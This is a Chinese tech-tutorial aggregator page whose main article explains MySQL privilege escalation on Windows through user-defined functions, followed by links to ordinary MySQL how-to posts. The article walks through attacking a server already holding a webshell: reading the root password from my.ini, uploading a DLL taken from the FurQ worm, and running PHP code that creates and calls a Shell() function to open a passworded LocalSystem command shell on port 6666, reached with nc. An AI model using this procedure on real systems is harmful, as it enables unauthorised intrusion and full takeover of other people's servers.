首页 / MYSQL / 为MySQL提权简单方法_MySQL

为MySQL提权简单方法_MySQL

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了为MySQL提权简单方法_MySQL，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含3665字，纯文字阅读大概需要6分钟。

内容图文

bitsCN.com

前不久网上公开了一个MySQL Func的漏洞,讲的是使用MySQL创建一个自定义的函数,然后通过这个函数来攻击服务器。最早看到相关的报道是在o-otik上,但是公布的是针对Unix系统的Exploit,并且成功率也不是很高.而近期,国内有高手放出针对Win系统的相关文章,于是我马上找来与朋友一同研究.

　　其实我们早就能想到.当我们在对MSSQLOracle数据库进行攻击的时候,得到了最数据库中高权限的帐户,往往都是执行特殊的扩展过程或者函数来进行攻击的。比如MSSQL有Xp_cmdshell,Oracle可以通过Msvcrt.dll来创建一个特殊的函数.而我们却始终没有想到,作为流行的数据库软件之一的MySQL,也是可以进行函数的创建的.由此看来,MySQL的这个漏洞不应称为漏洞而仅仅是一个技术而已.

　　废话一堆过后,我们来了解一下怎么在MySQL里创建一个函数吧.这比如何利用重要许多,只要了解了原理,运用就能更加灵活,而且可以与其他思想融会贯通.

　　MySQL中创建一个函数的语句为:

　　Create Function FunctionName Returns [String|Integer|Real] Soname C:function.dll;

　　其中FunctionName指的是函数的名称,C:Function.DLL指的是函数所调用的DLL,而函数名正是DLL中的函数名称.不过这里需要我们注意的是,如果我们需要MySQL可以在函数之中附带一个参数的话,那么就要符合UDF形式的程序编写规则,具体的可以查看MySQL手册的第14节:《为MySQL增加新函数》.而其中STRING,INTEGET,REAL是函数执行后所返回的值的形式.当然,我们大可不必遵循UDF形式的编写,其实如果我们的函数中使用一个我们要执行的代码,而不使用参数,一样可以达到攻击的效果,比如说System("command.com")等等.网上现在以此漏洞进行攻击的FurQ蠕虫就是一个不使用UDF格式的例子.但是注意,这个创建函数的语句必须要求我们所用的MySQL帐户有对mysql这个数据库的写权限,否则无法正常使用.

　　好了.了解了原理之后,我们来实战一下如何使用MySQL提升权限.

　　在这里我们已经通过各式各样的漏洞取得了一个服务器的WebShell,我这里演示的是angel的phpspy,因为PHP默认有连接MySQL的函数,而ASP这些需要使用附加的组件来进行连接,本身不具备条件的.

　　一般来说,在Win系统下面,很多软件都会在系统目录下创建一个叫my.ini的文件,其中包含了很敏感的MySQL信息.而如果我们攻克的主机没有非常好的权限设置的话,我们本身就具有对%windir%目录的浏览权限,所以可以非常容易的读取其中的信息.而且非常多的管理员通常是将root帐户与密码写进这个My.ini,所以一旦我们读到root用户的密码,就可以操纵整个MySQL数据库或者是服务器了.如图1.

　　得到MySQL的Root密码之后,我们需要上传我们的DLL文件,我这里使用的是从FurQ蠕虫中提取的FurQ.dll.执行这个FurQ.DLL中的Shell函数,系统将会在6666端口打开一个带密码的CMDShell,当然,密码我们已经知道,就是"FurQ"几个字符而已.不过我们现在还没有执行的条件.需要通过MySQL将这个函数创建到MySQL中去.

　　现在,我们用PHPSPY新建一个PHP文件.

　　输入以下的内容

　　$link=mysql_connect(127.0.0.1,root,root);

　　if (!$link) {

　　die(Could NOt Connect The Database!: . mysql_error());

　　};

　　echo "Good Boy.Connected!
";

　　//这里的rootoot就是从my.ini中读取的用户和密码.

　　@mysql_select_db(mysql) or die (use database mysql failed!);

　　echo "Yes You Did!
";

　　//这里选择使用MySQL数据库表.当然你也可以选择别的,如test.

　　$query="Create Function Shell RETURNS INTEGER SONAME d:/wwwroot/FurQ.dll;";

　　@$result = mysql_query($query, $link) or die ("Create Function Failed!");

　　echo "Goddess...Successed!
";

　　//这两句话是关键,执行MySQL的创建函数语句.将d:wwwrootfurq.dll中的Shell函数创建进MySQL中.使得MySQL可以执行这个Shell函数.

　　$query="Select Shell();";

　　@$result = mysql_query($query, $link) or die ("Execute failed");

　　echo "Congratulations! Connect The Port 6666 Of This Server VS password:FurQ
";

　　//这一步是执行这个Shell函数,打开服务器的6666端口.

　　再次执行,全部正常返回.如图2.那么现在,我们就可以使用nc连接服务器的6666端口,输入这个密码:FurQ.然后就返回CMDSHELL了..当然,由于继承的是MySQL的权限,而Win系统下MySQL默认以服务安装,也就是说,我们得到的Shell为LocalSystem权限,可以为所欲为了,不过不要做坏事哦.呵呵.

bitsCN.com

内容总结

以上是互联网集市为您收集整理的为MySQL提权简单方法_MySQL全部内容，希望文章能够帮你解决为MySQL提权简单方法_MySQL所遇到的程序开发问题。如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容，请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/572281.html

来源：【匿名】

【上一篇】mysqlhotcopy热备工具体验与总结_MySQL 【下一篇】用IE远程创建Mysql数据库的简易程序

更多 ►

【为MySQL提权简单方法_MySQL】教程文章相关的互联网学习教程文章

MySQL分页技术、6种分页方法总结

概述有朋友问: MySQL的分页似乎一直是个问题，有什么优化方法吗？网上看到赶集网XX推荐了一些分页方法,但似乎不太可行，你能点评一下吗？方法总结方法1: 直接使用数据库提供的SQL语句语句样式: MySQL中,可用如下方法: SELECT * FROM 表名称 LIMIT M,N 适应场景: 适用于数据量较少的情况(元组百/千级) 原因/缺点: 全表扫描,速度会很慢且有的数据库结果集返回不稳定(如某次返回1,2,3,另外的一次返回2,1,3). Limit限制的是从结果集...

Ubuntu下取消MySQL数据库本机绑定限制方法

出现问题：在Ubuntu系统中，添加了MySQL账户，赋予了数据库完全操作权限，并且允许数据库从外部链接但是，还是无法远程访问MySQL数据库。原因：Ubuntu系统中，默认安装的MySQL限制了只有本机才能访问数据库解决办法：取消MySQL数据库的本机绑定限制nano /etc/mysql/my.cnf #编辑配置文件找到bind-address = 127.0.0.1改为#bind-address = 127.0.0.1ctrl+o #保存配置ctrl+x #退出/etc/init.d/mysql restart #重启数据库现在已经可以...

Mysql备份数据库的一种方法

今天添加了一个数据库自动备份的模块，mysql数据备份的方法有很多，可以对单个数据库备份，可以多个数据库备份，也可以对某一个表进行备份，可以只备份数据库的结构不备份数据，可以根据需要做不同处理，正好现在有点时间，简单的记录一下最为简单的一种备份方法。Mysql版本：5.11.利用mysqldump对mysql数据库进行备份mysqldump是一个单独的可执行程序，并非mysql运行时的一个命令，使用mysqldump时，如果是在Windows下下，需要先在...

APMserv修改Mysql密码的方法

后来又找了 APMserv修改Mysql密码的方法进入APMserv安装目录(假设当前路径为"D:\Discuz\APMServ5.2.6").输入 cd D:\Discuz\APMServ5.2.6D:\Discuz\APMServ5.2.6>cd MySQL5.1binD:\Discuz\APMServ5.2.6\MySQL5.1\bin>mysqladmin -u root -p password 123456如上所述..运行后提示输入原密码(Enter Password):默认空直接回车重新启动APMserv即可.原文：http://www.cnblogs.com/lovecc/p/4204220.html

debian6配置mysql允许远程连接的方法(图)

debian6系统：首先先安装mysql吧：打开终端（root）用户登入apt-get purge mysql-server-5.5安装完成后：默认情况下Mysql只允许本地登录，所以需要修改配置文件将地址绑定给注释掉：复制代码代码如下:vim /etc/mysql/my.cnf #bind-address = 127.0.0.1 <---注释掉这一行就可以远程登录了若还是不行，请本地登录mysql执行词句：UPDATE user SET Password=PASSWORD(‘newpassword‘) where USER=‘root‘;原文：http://www.jb51.n...

Mysql自动备份与还原方法

一、自动备份：将以下代码保存为*.bat批处理脚本，然后再添加Windows定时作业，如每天凌晨2点执行： set s=%date:~0,4%%date:~5,2%%date:~8,2%%time:~1,1%%time:~3,2%%time:~6,2% mysqldump -u root -ppassword databasename > d:\databasename_%s%_bak.sql 说明：databasename 为数据库名 password为数据库密码，系统自动以当前日期时间备份至指定目录。二、还原数据库： mysql -u root -p databasename <d:\databasename.sql原文...

MySQL导入导出方法总结【代码】

使用into outfile 和 load data infile导入导出数据这种方法的好处是，导出的数据可以自己规定格式，并且导出的是纯数据，不存在建表信息，你可以直接导入另外一个同数据库的不同表中，相对于mysqldump比较灵活机动。下面的mysql命令是把select的mytable表中的数据导出到/home/db_bak2012文件。select * from mytable where status!=0 and name!=‘‘ into outfile ‘/home/db_bak2012‘ fields terminated by ‘|‘ enclosed ...

MySQL 使用方法简单教程【图】

1、启动MySQL服务器实际上上篇已讲到如何启动MySQL。两种方法：一是用winmysqladmin，如果机器启动时已自动运行，则可直接进入下一步操作。二是在DOS方式下运行 d:/mysql/bin/mysqld2、进入mysql交互操作界面在DOS方式下，运行：d:/mysql/bin/mysql -u root -p 出现提示符，此时已进入mysql的交互操作方式。如果出现 "ERROR 2003: Can‘t connect to MySQL server on ‘localhost‘ (10061)“，说明你的MySQL还没有启动。3、退出My...

PHP中使用localhost连接Mysql不成功的解决方法

发现问题昨天在帮同事编译安装Linux环境时，遇到一个问题： WEB服务器是apache，数据库是MySQL。于是写了一个测试连接数据库的PHP页面：复制代码代码如下:$mysql = mysql_connect(‘localhost‘,‘root‘,‘‘);打开 http://localhost/test.php 测试提示：Can‘t connect to local MySQL server through socket...检查环境正常以为是数据库没有启动，于是查看一下进程，MySQL在进程里，重启了一下MySQL.使用mysql -u root -p 可以...

Mysql中的find_in_set的使用方法介绍

使用举例：用户表(user)中的一个字段(purview)代表该用户的权限将用户的所有权限id存入此字段。比如有：1,2,3,4,5这样的五个权限查找哪些用户拥有权限id为1的权限复制代码代码如下:select * from user where find_in_set(‘1‘,purview); sql语句 sql解释：查出所有拥有1这个权限的所有用户的信息。这样设计数据表的目的是减少表的数量，但是会增加更新的难度！原文：http://www.jb51.net/article/34870.htm

MYSQL中利用select查询某字段中包含以逗号分隔的字符串的记录方法【代码】

首先我们建立一张带有逗号分隔的字符串。 CREATE TABLE test(id int(6) NOT NULL AUTO_INCREMENT,PRIMARY KEY (id),pname VARCHAR(20) NOT NULL,pnum VARCHAR(50) NOT NULL);然后插入带有逗号分隔的测试数据 INSERT INTO test(pname,pnum) VALUES(‘产品1‘,‘1,2,4‘); INSERT INTO test(pname,pnum) VALUES(‘产品2‘,‘2,4,7‘); INSERT INTO test(pname,pnum) VALUES(‘产品3‘,‘3,4‘); INSERT INTO test(pname,pnum) VALUES...

导出Mysql数据库出错：Got error: 145: Table 'wp_options' is marked as crashed and should be repaired when using LOCK TABLES的解决方法【代码】

mysqldump: Got error: 145: Table ‘wp_options‘ is marked as crashed and should be repaired when using LOCK TABLES 错误如上所示。今天在给自己的wp网站搬家的时候，导出数据时发现导不出来，报了如上的错误，在网上找了一下资料，说是这张张被标记有问题，需要优化。参考：http://www.cnblogs.com/hakuci/archive/2012/03/20/2407723.html 感谢黄兆张‘s Blog提供的资料，进入mysql的bin目录，通过如下命令顺利解决了问题：...

MYSQL安装时解决要输入current root password的解决方法

终归结出以下解决方法： 1.清除MYSQL的安装目录,默认是C:\Program Files 2.清除MYSQL数据存放目录，一般在C:\Documents and Settings\All Users.windows\Application Data目录下（需要注意的时Application Data这个文件夹默认是隐藏的，要通过工具->文件夹选项->查看->显示所有文件与文件夹来设置隐藏文件可见）。删除MySQL文件夹 3.这步很重要，之前不管我怎么卸载MYSQL清空残余文件都还是要输入原始密码，后来试试找了下注册...

mysql 数据库导入导出方法总结（是时候总结）

注意：mysqldump 是在操作系统命令行下运行的。不是在 mysql 命令行下运行的进入MySQL目录下的bin文件夹,如：C:\Program Files\MySQL\MySQL Server 5.5\bin> mysqldump -h IP -u 用户名 -p 数据库名 > 导出的文件名（1）-p 后面不能加password，只能单独输入如1中那样（2）mysqldump是在cmd下的命令，不能再mysql下面，即不能进入mysql的（即use dpname下，得exit退出mysql下才可以的。）一：数据库的导出 0:mysqldump -h l...

PHP环境（apache,PHP,Mysql）详细配置方法

1.安装Apache ,直接运行安装即可，我们将其安装到D:\PHP\Apache/目录下2.将PHP压缩包解压内容放到指定目录（例如：D:\PHP\Php5，将目录中的PHP.iniDevelopment重命名为php.ini）3.修改Apache配置文件（D:\PHP\Apache\conf\httpd.conf），以支持php模块 a. LoadModule php5_module "D:\PHP\PHP5\php5apache2_2.dll"　　b. application/x-httpd-php .php　　c. phpinidir："D:/PHP/PHP5"4.重启Apache5.验证PHP是否安装成功:在D:\P...

MYSQL - 技术教程分类

MySQL 教程 MySQL 安装 MySQL 管理 MySQL PHP 语法 MySQL 连接 MySQL 创建数据库 MySQL 删除数据库 MySQL 选择数据库 MySQL 数据类型 MySQL 创建数据表 MySQL 删除数据表 MySQL 插入数据 MySQL 查询数据 MySQL WHERE 子句 MySQL UPDATE 更新 MySQL DELETE 语句 MySQL LIKE 子句 MySQL UNION MySQL 排序 MySQL 分组 MySQL 连接的使用 MySQL NULL 值处理 MySQL 事务 MySQL ALTER命令 MySQL 索引 MySQL 临时表 MySQL 复制表 MySQL 元数据 MySQL 序列使用 MySQL 处理重复数据 MySQL 及 SQL 注入 MySQL 导出数据 MySQL 导入数据 MySQL 函数 MySQL 运算符 mysql 全部

MYSQL - 最热教程

sql分组取最大记录方法 mysql如何设置默认值 mysql创建数据表时指定默认值教程 MySQL 5.7 的初始化操作（root初始密码...Oracle中合并数据集(多行变一行)mysql 相同内容的字段合并为一条的方法解决mysql设置时区时的错误Unknown or ...解决ubuntu下mysql的'Access denied fo...ubuntu系统中MysqlERROR1045(28000)报错...mysql数据库设置不区分大小写

首页 / MYSQL / 为MySQL提权简单方法_MySQL

为MySQL提权简单方法_MySQL

内容导读

内容图文

内容总结

内容备注

内容手机端

【为MySQL提权简单方法_MySQL】教程文章相关的互联网学习教程文章

MySQL分页技术、6种分页方法总结

Ubuntu下取消MySQL数据库本机绑定限制方法

Mysql备份数据库的一种方法

APMserv修改Mysql密码的方法

debian6配置mysql允许远程连接的方法(图)

Mysql自动备份与还原方法

MySQL导入导出方法总结【代码】

MySQL 使用方法简单教程【图】

PHP中使用localhost连接Mysql不成功的解决方法

Mysql中的find_in_set的使用方法介绍

MYSQL中利用select查询某字段中包含以逗号分隔的字符串的记录方法【代码】

导出Mysql数据库出错：Got error: 145: Table 'wp_options' is marked as crashed and should be repaired when using LOCK TABLES的解决方法【代码】

MYSQL安装时解决要输入current root password的解决方法

mysql 数据库导入导出方法总结（是时候总结）

PHP环境（apache,PHP,Mysql）详细配置方法

MYSQL - 相关标签

MYSQL - 技术教程分类

MYSQL - 最新教程

MYSQL - 最热教程